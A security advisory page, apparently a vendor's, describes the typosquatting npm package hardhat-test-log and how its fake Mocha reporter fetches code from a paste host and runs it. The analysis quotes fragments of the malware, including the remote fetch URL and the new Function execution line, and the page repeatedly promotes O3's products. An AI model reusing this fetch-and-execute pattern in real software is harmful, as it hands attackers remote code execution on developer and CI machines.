hardhat-test-lognpm
hardhat-test-log is a confirmed malicious npm package (MAL-2026-6369) that typosquats a legitimate package to trick installs (malicious versions 1.1.0, 1.1.1, 1.1.2…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in hardhat-test-log (npm)
What this malware does
Package impersonates the well-known eth-gas-reporter / hardhat-gas-reporter packages: README is titled 'eth-test-log', copies badges and contributor metadata, and package.json sets author to 'cgewecke' (the real maintainer of those projects). The advertised Mocha reporter entrypoint is a decoy. index.js exports log as the reporter, but the function contains var opt = 1; if (!opt) {...legitimate reporter code... } else { gestest(); } — the dead-code gate guarantees the else branch always runs, calling utils.connectNet. utils.connectNet (lib/utils.js) spawns node lib/syncResolve.js as a detached, unref'd child with stdio ignored, so the dropper persists beyond Mocha teardown and produces no CI output. lib/syncResolve.js then performs axios.get('https://www.jsonkeeper.com/b/KBZVB', { headers: { 'x-secret-key':... } }), extracts the Cookie field from the response, and executes it in-process via new Function.constructor('require', result)(require) — giving attacker-controlled code full Node require access. The fetch destination is a public paste-style host with mutable, opaque content and no integrity check, so the operator can rotate the payload at will. Installing/using this package as a Hardhat/Mocha gas reporter triggers remote code execution on the developer's or CI machine.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for hardhat-test-log (4 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging hardhat-test-log across your stack and pipelines.
If you installed it — respond
hardhat-test-log is a typosquat — you almost certainly intended a legitimately-named package. Remove hardhat-test-log, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If hardhat-test-log was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks hardhat-test-log before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks hardhat-test-log-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.